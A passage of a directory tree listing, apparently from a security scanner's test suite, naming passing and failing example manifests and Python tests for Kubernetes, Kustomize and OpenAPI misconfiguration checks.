├── Etcd-FAILED.yaml │ │ │ ├── Etcd-PASSED-2.yaml │ │ │ └── Etcd-PASSED.yaml │ │ ├── example_EtcdCertAndKey/ │ │ │ ├── Etcd-FAILED-2.yaml │ │ │ ├── Etcd-FAILED.yaml │ │ │ └── Etcd-PASSED.yaml │ │ ├── example_EtcdClientCertAuth/ │ │ │ ├── Etcd-FAILED-2.yaml │ │ │ ├── Etcd-FAILED.yaml │ │ │ └── Etcd-PASSED.yaml │ │ ├── example_EtcdPeerFiles/ │ │ │ ├── EtcdPeerFiles-FAILED.yaml │ │ │ └── EtcdPeerFiles-PASSED.yaml │ │ ├── example_HostPort/ │ │ │ ├── DS-node-exporter-FAILED.yaml │ │ │ ├── nginx-app-FAILED.yaml │ │ │ └── nginx-app-PASSED.yaml │ │ ├── example_ImageDigest/ │ │ │ ├── imageWithTagAndDigest-PASSED.yaml │ │ │ ├── job-ImageTagLatest-FAILED.yaml │ │ │ ├── kafka-PASSED.yaml │ │ │ ├── kafka-withrepo-PASSED.yaml │ │ │ └── storm-zookeeper-FAILED.json │ │ ├── example_ImagePullPolicy/ │ │ │ ├── cassandra-PullPolicyAlways-PASSED.yaml │ │ │ ├── imageWithDigest-DefaultPullPolicy-PASSED.yaml │ │ │ ├── imageWithDigest-PullPolicyAlways-PASSED.yaml │ │ │ ├── job-ImageTagLatest-PASSED.yaml │ │ │ ├── kafka-PullPolicyAlways-PASSED.yaml │ │ │ ├── replctrl-PullIfNotPresent-FAILED.yaml │ │ │ ├── storm-nimbus-ImageUntagged-PASSED.json │ │ │ └── wordpress-ImageTagged-DefaultPullPolicy-FAILED.yaml │ │ ├── example_ImageTagFixed/ │ │ │ ├── imageWithDigest-PASSED.yaml │ │ │ ├── imageWithTagAndDigest-PASSED.yaml │ │ │ ├── job-ImageTagLatest-FAILED.yaml │ │ │ ├── kafka-ImageWithRepo-PASSED.yaml │ │ │ ├── kafka-PASSED.yaml │ │ │ └── storm-zookeeper-FAILED.json │ │ ├── example_KubeControllerManagerBlockProfiles/ │ │ │ ├── ApiServer-FAILED.yaml │ │ │ ├── ApiServer-FAILED_2.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_KubeControllerManagerRootCAFile/ │ │ │ ├── ApiServer-FAILED.yaml │ │ │ ├── ApiServer-PASSED.yaml │ │ │ └── ApiServer-PASSED_2.yaml │ │ ├── example_KubeControllerManagerServiceAccountCredentials/ │ │ │ ├── ApiServer-FAILED-2.yaml │ │ │ ├── ApiServer-FAILED.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_KubeControllerManagerServiceAccountPrivateKeyFile/ │ │ │ ├── ApiServer-FAILED.yaml │ │ │ ├── ApiServer-PASSED-2.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_KubeControllerManagerTerminatedPods/ │ │ │ ├── ApiServer-FAILED-2.yaml │ │ │ ├── ApiServer-FAILED.yaml │ │ │ ├── ApiServer-PASSED-2.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_KubeletAnonymousAuth/ │ │ │ ├── KubeletAnonymousAuth-FAILED.yaml │ │ │ └── KubeletAnonymousAuth-PASSED.yaml │ │ ├── example_KubeletAuthorizationModeNotAlwaysAllow/ │ │ │ ├── KubeletAuthorizationModeNotAlwaysAllow-FAILED.yaml │ │ │ └── KubeletAuthorizationModeNotAlwaysAllow-PASSED.yaml │ │ ├── example_KubeletClientCa/ │ │ │ ├── KubeletClientCa-FAILED.yaml │ │ │ └── KubeletClientCa-PASSED.yaml │ │ ├── example_KubeletCryptographicCiphers/ │ │ │ ├── KubeletCryptographicCiphers-FAILED.yaml │ │ │ └── KubeletCryptographicCiphers-PASSED.yaml │ │ ├── example_KubeletHostnameOverride/ │ │ │ ├── KubeletHostnameOverride-FAILED.yaml │ │ │ └── KubeletHostnameOverride-PASSED.yaml │ │ ├── example_KubeletKeyFilesSetAppropriate/ │ │ │ ├── KubeletKeyFilesSetAppropriate-FAILED.yaml │ │ │ └── KubeletKeyFilesSetAppropriate-PASSED.yaml │ │ ├── example_KubeletMakeIptablesUtilChains/ │ │ │ ├── KubeletMakeIptablesUtilChains-FAILED.yaml │ │ │ └── KubeletMakeIptablesUtilChains-PASSED.yaml │ │ ├── example_KubeletProtectKernelDefaults/ │ │ │ ├── KubeletProtectKernelDefaults-FAILED.yaml │ │ │ └── KubeletProtectKernelDefaults-PASSED.yaml │ │ ├── example_KubeletReadOnlyPort/ │ │ │ ├── KubeletReadOnlyPort-FAILED.yaml │ │ │ └── KubeletReadOnlyPort-PASSED.yaml │ │ ├── example_KubeletStreamingConnectionIdleTimeout/ │ │ │ ├── KubeletStreamingConnectionIdleTimeout-FAILED.yaml │ │ │ └── KubeletStreamingConnectionIdleTimeout-PASSED.yaml │ │ ├── example_KubernetesDashboard/ │ │ │ ├── kube-dashboard-FAILED.yaml │ │ │ ├── kube-dashboard-no-image-FAILED.yaml │ │ │ ├── kube-dashboard-no-image-PASSED.yaml │ │ │ ├── kubernetes-dashboard-deployment.yaml │ │ │ ├── nginx-deployment-FAILED.yaml │ │ │ └── nginx-deployment-PASSED.yaml │ │ ├── example_KubletEventCapture/ │ │ │ ├── KubletEventCapture-FAILED.yaml │ │ │ └── KubletEventCapture-PASSED.yaml │ │ ├── example_KubletRotateCertificates/ │ │ │ ├── KubletRotateCertificates-FAILED.yaml │ │ │ └── KubletRotateCertificates-PASSED.yaml │ │ ├── example_LivenessReadiness/ │ │ │ ├── pod-liveness-readiness-2pods.yaml │ │ │ └── pod-liveness-readiness-PASSED.yaml │ │ ├── example_NginxIngressCVE202125742/ │ │ │ ├── annotation1-FAILED.yaml │ │ │ ├── annotation2-nollua-PASSESONEFAILSONE.yaml │ │ │ ├── annotation3-alias.yaml │ │ │ └── noannotations-PASSED.yaml │ │ ├── example_NoDefaultNamespace/ │ │ │ └── Dev-PASSED.yaml │ │ ├── example_PSP/ │ │ │ ├── psp-most-insecure-FAILED.yaml │ │ │ ├── psp-no-annotations-FAILED.yml │ │ │ └── psp-restricted-PASSED.yaml │ │ ├── example_PeerClientCertAuthTrue/ │ │ │ ├── PeerClientCertAuthTrue-FAILED.yaml │ │ │ ├── PeerClientCertAuthTrue-FAILED2.yaml │ │ │ ├── PeerClientCertAuthTrue-PASSED.yaml │ │ │ └── PeerClientCertAuthTrue-UNKNOWN.yaml │ │ ├── example_PrivilegedContainers/ │ │ │ ├── nginx-deployment-PASSED.yaml │ │ │ ├── privilegedDaemonSet-FAILED.yaml │ │ │ └── privilegedPod-FAILED.yaml │ │ ├── example_RbacApproveCertificateSigningRequests/ │ │ │ ├── clusterrole-failed-1.yaml │ │ │ ├── clusterrole-failed-2.yaml │ │ │ ├── clusterrole-failed-3.yaml │ │ │ ├── clusterrole-passed-1.yaml │ │ │ └── clusterrole-passed-2.yaml │ │ ├── example_RbacBindRoleBindings/ │ │ │ ├── clusterrole-failed-1.yaml │ │ │ ├── clusterrole-passed-1.yaml │ │ │ ├── role-failed-2.yaml │ │ │ └── role-passed-2.yaml │ │ ├── example_RbacControlWebhooks/ │ │ │ ├── clusterrole-failed-1.yaml │ │ │ ├── clusterrole-failed-2.yaml │ │ │ ├── clusterrole-passed-1.yaml │ │ │ └── clusterrole-passed-2.yaml │ │ ├── example_RbacEscalateRoles/ │ │ │ ├── clusterrole-failed-1.yaml │ │ │ ├── clusterrole-passed-1.yaml │ │ │ ├── role-failed-2.yaml │ │ │ └── role-passed-2.yaml │ │ ├── example_ReadOnlyFilesystem/ │ │ │ ├── frontend-replicaset-FAILED.yaml │ │ │ ├── pod-readonly-PASSED.yaml │ │ │ └── pod-readonly-false-FAILED.yaml │ │ ├── example_Requests_Limits/ │ │ │ ├── cronjob-request-limit-1FAILED.yaml │ │ │ ├── pod-requests-limits-1FAILED1PASSED.yaml │ │ │ ├── pod-requests-limits-2PASSED.yaml │ │ │ ├── pod-requests-limits-UNKNOWN.yaml │ │ │ └── pod-requests-limits-UNKNOWN2.yaml │ │ ├── example_RootContainers/ │ │ │ ├── rootContainersFAILED-malformed-spec.yaml │ │ │ ├── rootContainersFAILED.yaml │ │ │ ├── rootContainersFAILED_2.yaml │ │ │ ├── rootContainersPASSED.yaml │ │ │ └── rootContainersUNKNOWN.yaml │ │ ├── example_RootContainersHighUID/ │ │ │ ├── rootContainersHighUIDFAILED.yaml │ │ │ ├── rootContainersHighUIDPASSED.yaml │ │ │ └── rootContainersHighUIDUNKNOWN.yaml │ │ ├── example_RootContainersPSP/ │ │ │ ├── MustRunAsNonRoot-PASSED.yaml │ │ │ ├── RunAsUserRange-FAILED.yaml │ │ │ ├── RunAsUserRange-PASSED.yaml │ │ │ └── psp-most-insecure-FAILED.yaml │ │ ├── example_RotateKubeletServerCertificate/ │ │ │ ├── KubeControllerManagerRotateKubeletServerCertificate-FAILED.yaml │ │ │ ├── KubeControllerManagerRotateKubeletServerCertificate-PASSED.yaml │ │ │ ├── KubletRotateKubeletServerCertificate-FAILED.yaml │ │ │ └── KubletRotateKubeletServerCertificate-PASSED.yaml │ │ ├── example_SchedulerBindAddress/ │ │ │ ├── SchedulerBindAddress-FAILED-2.yaml │ │ │ ├── SchedulerBindAddress-FAILED.yaml │ │ │ └── SchedulerBindAddress-PASSED.yaml │ │ ├── example_SchedulerProfiling/ │ │ │ ├── SchedulerProfiling-FAILED.yaml │ │ │ └── SchedulerProfiling-PASSED.yaml │ │ ├── example_Seccomp/ │ │ │ ├── cronjob-seccomp-FAILED.yaml │ │ │ ├── cronjob-seccomp-PASSED.yaml │ │ │ ├── cronjob-seccomp-PASSED2.yaml │ │ │ ├── cronjob-seccomp-PASSED3.yaml │ │ │ ├── cronjob-seccomp-securityContext-PASSED.yaml │ │ │ ├── pod-seccomp-FAILED.yaml │ │ │ ├── pod-seccomp-FAILED2.yaml │ │ │ ├── pod-seccomp-FAILED3.yaml │ │ │ ├── pod-seccomp-PASSED.yaml │ │ │ ├── pod-seccomp-PASSED2.yaml │ │ │ ├── pod-seccomp-PASSED3.yaml │ │ │ ├── pod-seccomp-PASSED4.yaml │ │ │ ├── pod-seccomp-PASSED5.yaml │ │ │ ├── pod-seccomp-PASSED6.yaml │ │ │ ├── pod-seccomp-PASSED7.yaml │ │ │ └── template.yaml │ │ ├── example_Secrets/ │ │ │ ├── nginx-NoSecret-PASSED.yaml │ │ │ ├── pod-secretEnvironment-FAILED.yaml │ │ │ ├── pod-secretVolume-PASSED.yaml │ │ │ └── pod-secretsEnvironment-UNKNOWN.yaml │ │ ├── example_SecurityContexts/ │ │ │ ├── frontend-replicaset-both-FAILED.yaml │ │ │ ├── pod-container-FAILED_malformed_spec.yaml │ │ │ ├── pod-container-both-PASSED.yaml │ │ │ ├── podFAILED-containerPASSED.yaml │ │ │ └── podPassed-containerFailed.yaml │ │ ├── example_ServiceAccountTokens/ │ │ │ ├── ServiceAccountTokensFAILED.yaml │ │ │ ├── ServiceAccountTokensPASSED.yaml │ │ │ └── ServiceAccountTokensUNKNOWN.yaml │ │ ├── example_ShareHost/ │ │ │ ├── cronjob-hostresources-FAILED.yaml │ │ │ ├── jenkinsDeployment-PASSED.yaml │ │ │ ├── memcachedStatefulSet-PASSED.yaml │ │ │ ├── privilegedDaemonSet-FAILED.yaml │ │ │ ├── privilegedPod-FAILED.yaml │ │ │ └── privilegedPod-PASS.yaml │ │ ├── example_Suppressed/ │ │ │ └── suppress-checks-PASSED.yaml │ │ ├── example_Tiller/ │ │ │ ├── nginx-deployment-PASSED.yaml │ │ │ └── tiller-deployment.json │ │ ├── example_TillerDeploymentListener/ │ │ │ ├── nginx-deployment-UNKNOWN.yaml │ │ │ ├── tiller-deployment_FAILED.json │ │ │ ├── tiller-deployment_FAILED_WRONGARG.yaml │ │ │ ├── tiller-deployment_PASSED_LOCALHOST.json │ │ │ └── tiller-deployment_PASSED_LOOPBACK.json │ │ ├── example_TillerService/ │ │ │ └── tiller-services.yaml │ │ ├── example_WildcardEntities/ │ │ │ └── nginx-app.yaml │ │ ├── example_WildcardRoles/ │ │ │ ├── role-failed-1.yaml │ │ │ ├── role-failed-2.yaml │ │ │ ├── role-failed-3.yaml │ │ │ ├── role-passed-1.yaml │ │ │ └── role-passed-2.yaml │ │ ├── test_AllowPrivilegeEscalationPSP.py │ │ ├── test_AllowProvilegeEscalation.py │ │ ├── test_AllowedCapabilities.py │ │ ├── test_AllowedCapabilitiesPSP.py │ │ ├── test_AllowedCapabilitiesSysAdmin.py │ │ ├── test_ApiServerAdmissionControlAlwaysAdmit.py │ │ ├── test_ApiServerAdmissionControlEventRateLimit.py │ │ ├── test_ApiServerAlwaysPullImagesPlugin.py │ │ ├── test_ApiServerAnonymousAuth.py │ │ ├── test_ApiServerAuditLog.py │ │ ├── test_ApiServerAuditLogMaxAge.py │ │ ├── test_ApiServerAuditLogMaxBackup.py │ │ ├── test_ApiServerAuditLogMaxSize.py │ │ ├── test_ApiServerAuthorizationModeNode.py │ │ ├── test_ApiServerAuthorizationModeNotAlwaysAllow.py │ │ ├── test_ApiServerAuthorizationModeRBAC.py │ │ ├── test_ApiServerBasicAuthFile.py │ │ ├── test_ApiServerEncryptionProviders.py │ │ ├── test_ApiServerEtcdCaFile.py │ │ ├── test_ApiServerEtcdCertAndKey.py │ │ ├── test_ApiServerInsecureBindAddress.py │ │ ├── test_ApiServerInsecurePort.py │ │ ├── test_ApiServerKubeletClientCertAndKey.py │ │ ├── test_ApiServerKubeletHttps.py │ │ ├── test_ApiServerNamespaceLifecyclePlugin.py │ │ ├── test_ApiServerNodeRestrictionPlugin.py │ │ ├── test_ApiServerPodSecurityPolicyPlugin.py │ │ ├── test_ApiServerProfiling.py │ │ ├── test_ApiServerRequestTimeout.py │ │ ├── test_ApiServerSecurePort.py │ │ ├── test_ApiServerSecurityContextDenyPlugin.py │ │ ├── test_ApiServerServiceAccountKeyFile.py │ │ ├── test_ApiServerServiceAccountLookup.py │ │ ├── test_ApiServerServiceAccountPlugin.py │ │ ├── test_ApiServerStrongCryptographicCiphers.py │ │ ├── test_ApiServerTlsCertAndKey.py │ │ ├── test_ApiServerTokenAuthFile.py │ │ ├── test_ApiServerkubeletCertificateAuthority.py │ │ ├── test_CPULimits.py │ │ ├── test_CPURequests.py │ │ ├── test_ContainerSecurityContext.py │ │ ├── test_ControllerManagerBindAddress.py │ │ ├── test_DangerousGitSync.py │ │ ├── test_DefaultNamespace.py │ │ ├── test_DefaultServiceAccount.py │ │ ├── test_DefaultServiceAccountBinding.py │ │ ├── test_DockerSocketVolume.py │ │ ├── test_DropCapabilities.py │ │ ├── test_DropCapabilitiesPSP.py │ │ ├── test_EtcdAutoTls.py │ │ ├── test_EtcdCertAndKey.py │ │ ├── test_EtcdClientCertAuth.py │ │ ├── test_EtcdPeerFiles.py │ │ ├── test_HostPort.py │ │ ├── test_ImageDigest.py │ │ ├── test_ImagePullPolicyAlways.py │ │ ├── test_ImageTagFixed.py │ │ ├── test_KubeControllerManagerBlockProfiles.py │ │ ├── test_KubeControllerManagerRootCAFile.py │ │ ├── test_KubeControllerManagerServiceAccountCredentials.py │ │ ├── test_KubeControllerManagerServiceAccountPrivateKeyFile.py │ │ ├── test_KubeControllerManagerTerminatedPods.py │ │ ├── test_KubeletAnonymousAuth.py │ │ ├── test_KubeletAuthorizationModeNotAlwaysAllow.py │ │ ├── test_KubeletClientCa.py │ │ ├── test_KubeletCryptographicCiphers.py │ │ ├── test_KubeletHostnameOverride.py │ │ ├── test_KubeletKeyFilesSetAppropriate.py │ │ ├── test_KubeletMakeIptablesUtilChains.py │ │ ├── test_KubeletProtectKernelDefaults.py │ │ ├── test_KubeletReadOnlyPort.py │ │ ├── test_KubeletStreamingConnectionIdleTimeout.py │ │ ├── test_KubernetesDashboard.py │ │ ├── test_KubletEventCapture.py │ │ ├── test_KubletRotateCertificates.py │ │ ├── test_LivenessProbe.py │ │ ├── test_MemoryLimits.py │ │ ├── test_MemoryRequests.py │ │ ├── test_MinimizeCapabilities.py │ │ ├── test_MinimizeCapabilitiesPSP.py │ │ ├── test_NginxIngressCVE202125742Alias.py │ │ ├── test_NginxIngressCVE202125742AllSnippets.py │ │ ├── test_NginxIngressCVE202125742Lua.py │ │ ├── test_PeerClientCertAuthTrue.py │ │ ├── test_PodSecurityContext.py │ │ ├── test_PrivilegedContainers.py │ │ ├── test_PrivilegedContainersPSP.py │ │ ├── test_RbacApproveCertificateSigningRequests.py │ │ ├── test_RbacBindRoleBindings.py │ │ ├── test_RbacControlWebhooks.py │ │ ├── test_RbacEscalateRoles.py │ │ ├── test_ReadOnlyFilesystem.py │ │ ├── test_ReadinessProbe.py │ │ ├── test_RootContainers.py │ │ ├── test_RootContainersHighUID.py │ │ ├── test_RootContainersPSP.py │ │ ├── test_RotateKubeletServerCertificate.py │ │ ├── test_SchedulerBindAddressy.py │ │ ├── test_SchedulerProfiling.py │ │ ├── test_Seccomp.py │ │ ├── test_SeccompPSP.py │ │ ├── test_Secrets.py │ │ ├── test_ServiceAccountTokens.py │ │ ├── test_ShareHostIPC.py │ │ ├── test_ShareHostIPCPSP.py │ │ ├── test_ShareHostPID.py │ │ ├── test_ShareHostPIDPSP.py │ │ ├── test_SharedHostNetworkNamespace.py │ │ ├── test_SharedHostNetworkNamespacePSP.py │ │ ├── test_SuppressedAnnotations.py │ │ ├── test_Tiller.py │ │ ├── test_TillerDeploymentListener.py │ │ ├── test_TillerService.py │ │ ├── test_WildcardRoles.py │ │ ├── test_k8s_check_utils.py │ │ └── test_wildcard_entities.py │ ├── graph/ │ │ ├── __init__.py │ │ ├── base_graph_tests.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── resources/ │ │ │ │ ├── AllowPrivilegeEscalation/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── template.yaml │ │ │ │ ├── AllowedCapabilities/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── template.yaml │ │ │ │ ├── ImpersonatePermissions/ │ │ │ │ │ ├── Failing/ │ │ │ │ │ │ ├── 1/ │ │ │ │ │ │ │ ├── clusterrole1.yaml │ │ │ │ │ │ │ └── clusterrolebinding1.yaml │ │ │ │ │ │ ├── 2/ │ │ │ │ │ │ │ ├── clusterrole2.yaml │ │ │ │ │ │ │ └── clusterrolebinding2.yaml │ │ │ │ │ │ └── 3/ │ │ │ │ │ │ ├── Role.yaml │ │ │ │ │ │ └── RoleBinding.yaml │ │ │ │ │ ├── Passing/ │ │ │ │ │ │ └── 1/ │ │ │ │ │ │ ├── clusterrole1.yaml │ │ │ │ │ │ └── clusterrolebinding1.yaml │ │ │ │ │ └── expected.yaml │ │ │ │ ├── IsNotEmpty/ │ │ │ │ │ ├── Failing/ │ │ │ │ │ │ └── deployment.yaml │ │ │ │ │ ├── Passing/ │ │ │ │ │ │ └── deployment.yaml │ │ │ │ │ └── expected.yaml │ │ │ │ ├── ModifyServicesStatus/ │ │ │ │ │ ├── Failing/ │ │ │ │ │ │ ├── 1/ │ │ │ │ │ │ │ ├── FailingClusterRole.yaml │ │ │ │ │ │ │ └── FailingClusterRoleBinding.yaml │ │ │ │ │ │ └── 2/ │ │ │ │ │ │ ├── FailingClusterRole.yaml │ │ │ │ │ │ └── FailingClusterRoleBinding.yaml │ │ │ │ │ ├── Passing/ │ │ │ │ │ │ ├── 1/ │ │ │ │ │ │ │ ├── PassingClusterRole.yaml │ │ │ │ │ │ │ └── PassingClusterRoleBinding.yaml │ │ │ │ │ │ └── 2/ │ │ │ │ │ │ ├── PassingClusterRole.yaml │ │ │ │ │ │ └── PassingClusterRoleBinding.yaml │ │ │ │ │ └── expected.yaml │ │ │ │ ├── NoCreateNodesProxyOrPodsExec/ │ │ │ │ │ ├── Failing/ │ │ │ │ │ │ ├── 1/ │ │ │ │ │ │ │ ├── clusterrole1.yaml │ │ │ │ │ │ │ └── clusterrolebinding1.yaml │ │ │ │ │ │ ├── 2/ │ │ │ │ │ │ │ ├── clusterrole2.yaml │ │ │ │ │ │ │ └── clusterrolebinding2.yaml │ │ │ │ │ │ ├── 3/ │ │ │ │ │ │ │ ├── role3.yaml │ │ │ │ │ │ │ └── rolebinding3.yaml │ │ │ │ │ │ └── 4/ │ │ │ │ │ │ ├── clusterrole4.yaml │ │ │ │ │ │ ├── clusterrolebinding4.yaml │ │ │ │ │ │ └── pod4.yaml │ │ │ │ │ ├── Passing/ │ │ │ │ │ │ ├── 1/ │ │ │ │ │ │ │ ├── clusterrole1.yaml │ │ │ │ │ │ │ └── clusterrolebinding1.yaml │ │ │ │ │ │ └── 2/ │ │ │ │ │ │ ├── clusterrole2.yaml │ │ │ │ │ │ └── clusterrolebinding2.yaml │ │ │ │ │ └── expected.yaml │ │ │ │ ├── NoDefaultNamespace/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── template.yaml │ │ │ │ ├── PodIsPubliclyAccessibleExample/ │ │ │ │ │ ├── Failing/ │ │ │ │ │ │ ├── Pod.yaml │ │ │ │ │ │ └── Service.yaml │ │ │ │ │ ├── Passing/ │ │ │ │ │ │ ├── Pod.yaml │ │ │ │ │ │ └── Service.yaml │ │ │ │ │ └── expected.yaml │ │ │ │ ├── ReadAllSecrets/ │ │ │ │ │ ├── Failing/ │ │ │ │ │ │ ├── ClusterRole.yaml │ │ │ │ │ │ └── ClusterRoleBinding.yaml │ │ │ │ │ ├── Passing/ │ │ │ │ │ │ ├── ClusterRole.yaml │ │ │ │ │ │ ├── ClusterRoleBinding.yaml │ │ │ │ │ │ └── RoleResourceName.yaml │ │ │ │ │ └── expected.yaml │ │ │ │ ├── RequireAllPodsToHaveNetworkPolicy/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ └── template.yaml │ │ │ │ └── RoleBindingPE/ │ │ │ │ ├── Failing1/ │ │ │ │ │ ├── FailingClusterRole.yaml │ │ │ │ │ └── FailingClusterRoleBinding.yaml │ │ │ │ ├── Failing2/ │ │ │ │ │ ├── FailingClusterRole.yaml │ │ │ │ │ └── FailingClusterRoleBinding.yaml │ │ │ │ ├── Failing3/ │ │ │ │ │ ├── FailingRole.yaml │ │ │ │ │ └── FailingRoleBinding.yaml │ │ │ │ ├── Passing1/ │ │ │ │ │ ├── PassingClusterRole.yaml │ │ │ │ │ └── PassingClusterRoleBinding.yaml │ │ │ │ ├── Passing2/ │ │ │ │ │ ├── PassingClusterRole.yaml │ │ │ │ │ └── PassingClusterRoleBinding.yaml │ │ │ │ ├── Passing3/ │ │ │ │ │ └── PassingClusterRoleBinding.yaml │ │ │ │ └── expected.yaml │ │ │ ├── test_checks/ │ │ │ │ ├── AllowPrivilegeEscalation.yaml │ │ │ │ ├── AllowedCapabilities.yaml │ │ │ │ ├── DefaultNamespace.yaml │ │ │ │ ├── IsNotEmpty.yaml │ │ │ │ ├── NoDefaultNamespace.yaml │ │ │ │ └── PodIsPubliclyAccessibleExample.yaml │ │ │ └── test_yaml_policies.py │ │ ├── resources/ │ │ │ ├── Keyword/ │ │ │ │ ├── clusterrolebinding.yaml │ │ │ │ ├── network-policy-attached.yaml │ │ │ │ └── pod_service_account.yaml │ │ │ ├── LabelSelector/ │ │ │ │ ├── label_selector_match.yaml │ │ │ │ ├── label_selector_multiple_resources.yaml │ │ │ │ └── label_selector_non_match.yaml │ │ │ ├── custom_resource.yaml │ │ │ ├── definitions/ │ │ │ │ ├── .hidden/ │ │ │ │ │ └── graph_check.yaml │ │ │ │ └── custom_resource.yaml │ │ │ ├── faulty_resources/ │ │ │ │ ├── deployment_missing_metadata.yaml │ │ │ │ ├── incompatible_clusterrolebinding.yaml │ │ │ │ └── incompatible_selector.yaml │ │ │ ├── graph_check.yaml │ │ │ ├── nested_resource.yaml │ │ │ └── statefulstate_nested_resource.yaml │ │ ├── test_graph_manager.py │ │ ├── test_kubernetes_utils.py │ │ ├── test_local_graph.py │ │ └── test_running_graph_checks.py │ ├── image_referencer/ │ │ ├── __init__.py │ │ ├── provider/ │ │ │ ├── __init__.py │ │ │ └── test_k8s.py │ │ ├── resources/ │ │ │ └── k8s/ │ │ │ ├── cron_job.yaml │ │ │ ├── daemon_set.yaml │ │ │ ├── deployment.yaml │ │ │ ├── deployment_config.yaml │ │ │ ├── job.yaml │ │ │ ├── pod.yaml │ │ │ ├── pod_template.yaml │ │ │ ├── replica_set.yaml │ │ │ ├── replication_controller.yaml │ │ │ └── stateful_set.yaml │ │ ├── test_manager.py │ │ └── test_runner_k8s_resources.py │ ├── parser/ │ │ ├── __init__.py │ │ ├── examples/ │ │ │ ├── json/ │ │ │ │ ├── mongo-pod.json │ │ │ │ └── normal.json │ │ │ └── yaml/ │ │ │ ├── busybox.yaml │ │ │ ├── busybox_utf8_bom.yaml │ │ │ ├── helm.yaml │ │ │ ├── helm2.yaml │ │ │ ├── normal.yaml │ │ │ └── not_helm_configmap.yaml │ │ ├── test_k8_json.py │ │ ├── test_k8_valicator.py │ │ └── test_k8_yaml.py │ ├── runner/ │ │ ├── __init__.py │ │ ├── list_annotation/ │ │ │ └── example.yaml │ │ ├── resources/ │ │ │ ├── example.yaml │ │ │ ├── example_multiple.yaml │ │ │ └── graph.yaml │ │ └── test_runner.py │ ├── test_base_registry.py │ ├── test_kubernetes_utils.py │ └── test_scanner_registry.py ├── kustomize/ │ ├── __init__.py │ ├── graph/ │ │ ├── __init__.py │ │ ├── resources/ │ │ │ ├── empty_resources/ │ │ │ │ ├── graph_check.yaml │ │ │ │ └── kustomization.yaml │ │ │ └── example_checks/ │ │ │ ├── graph_check.yaml │ │ │ └── kustomization.yaml │ │ └── test_running_graph_checks.py │ ├── runner/ │ │ ├── __init__.py │ │ └── resources/ │ │ ├── example/ │ │ │ ├── base/ │ │ │ │ ├── deployment.yaml │ │ │ │ ├── kustomization.yaml │ │ │ │ └── service.yaml │ │ │ ├── no_type/ │ │ │ │ └── kustomization.yaml │ │ │ └── overlays/ │ │ │ ├── dev/ │ │ │ │ ├── custom-env.yaml │ │ │ │ ├── database-secret.yaml │ │ │ │ ├── kustomization.yaml │ │ │ │ └── replica-and-rollout-strategy.yaml │ │ │ ├── empty/ │ │ │ │ └── kustomization.yaml │ │ │ ├── prod/ │ │ │ │ ├── custom-env.yaml │ │ │ │ ├── database-secret.yaml │ │ │ │ ├── kustomization.yaml │ │ │ │ └── replica-and-rollout-strategy.yaml │ │ │ ├── prod-2/ │ │ │ │ ├── custom-env.yaml │ │ │ │ ├── database-secret.yaml │ │ │ │ ├── kustomization.yml │ │ │ │ └── replica-and-rollout-strategy.yaml │ │ │ ├── prod-3/ │ │ │ │ ├── custom-env.yaml │ │ │ │ ├── database-secret.yaml │ │ │ │ ├── kustomization.yaml │ │ │ │ └── replica-and-rollout-strategy.yaml │ │ │ ├── prod-4/ │ │ │ │ ├── custom-env.yaml │ │ │ │ ├── database-secret.yaml │ │ │ │ ├── kustomization.yaml │ │ │ │ └── replica-and-rollout-strategy.yaml │ │ │ └── test/ │ │ │ ├── custom-env.yaml │ │ │ ├── database-secret.yaml │ │ │ ├── kustomization.yaml │ │ │ └── replica-and-rollout-strategy.yaml │ │ └── image_referencer/ │ │ ├── base/ │ │ │ ├── deployment.yaml │ │ │ ├── kustomization.yaml │ │ │ └── service.yaml │ │ └── overlays/ │ │ └── prod/ │ │ └── kustomization.yaml │ ├── test_runner.py │ ├── test_runner_image_referencer.py │ ├── test_utils.py │ └── utils.py ├── logger_streams/ │ ├── __init__.py │ └── test_logger_streams.py ├── openapi/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ ├── resource/ │ │ │ ├── __init__.py │ │ │ ├── generic/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_ClearTextAPIKey/ │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── fail2.json │ │ │ │ │ ├── fail2.yaml │ │ │ │ │ ├── fail3.json │ │ │ │ │ ├── fail3.yaml │ │ │ │ │ ├── fail4.json │ │ │ │ │ ├── fail4.yaml │ │ │ │ │ ├── fail5.json │ │ │ │ │ ├── fail5.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ ├── pass.yaml │ │ │ │ │ ├── pass2.json │ │ │ │ │ ├── pass2.yaml │ │ │ │ │ ├── pass3.json │ │ │ │ │ ├── pass3.yaml │ │ │ │ │ ├── pass4.json │ │ │ │ │ ├── pass4.yaml │ │ │ │ │ ├── pass5.json │ │ │ │ │ ├── pass5.yaml │ │ │ │ │ ├── pass6.json │ │ │ │ │ └── pass6.yaml │ │ │ │ ├── example_GlobalSecurityFieldIsEmpty/ │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ └── pass.yaml │ │ │ │ ├── example_NoMaximumNumberItems/ │ │ │ │ │ ├── fail.json │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── fail2.json │ │ │ │ │ ├── fail2.yaml │ │ │ │ │ ├── fail3.json │ │ │ │ │ ├── fail3.yaml │ │ │ │ │ ├── pass.json │ │ │ │ │ ├── pass.yaml │ │ │ │ │ ├── pass2.json │ │ │ │ │ ├── pass2.yaml │ │ │ │ │ ├── pass3.json │ │ │ │ │ └── pass3.yaml │ │ │ │ ├── example_SecurityOperations/ │ │ │ │ │ ├── fail1.json │ │ │ │ │ ├── fail1.yaml │ │ │ │ │ ├── fail2.json │ │ │ │ │ ├── fail2.yaml │ │ │ │ │ ├── fail3.json │ │ │ │ │ ├── fail3.yaml │ │ │ │ │ ├── fail4.json │ │ │ │ │ ├── fail4.yaml │ │ │ │ │ ├── pass1.json │ │ │ │ │ ├── pass1.yaml │ │ │ │ │ ├── pass2.json │ │ │ │ │ ├── pass2.yaml │ │ │ │ │ ├── pass3.json │ │ │ │ │ └── pass3.yaml │ 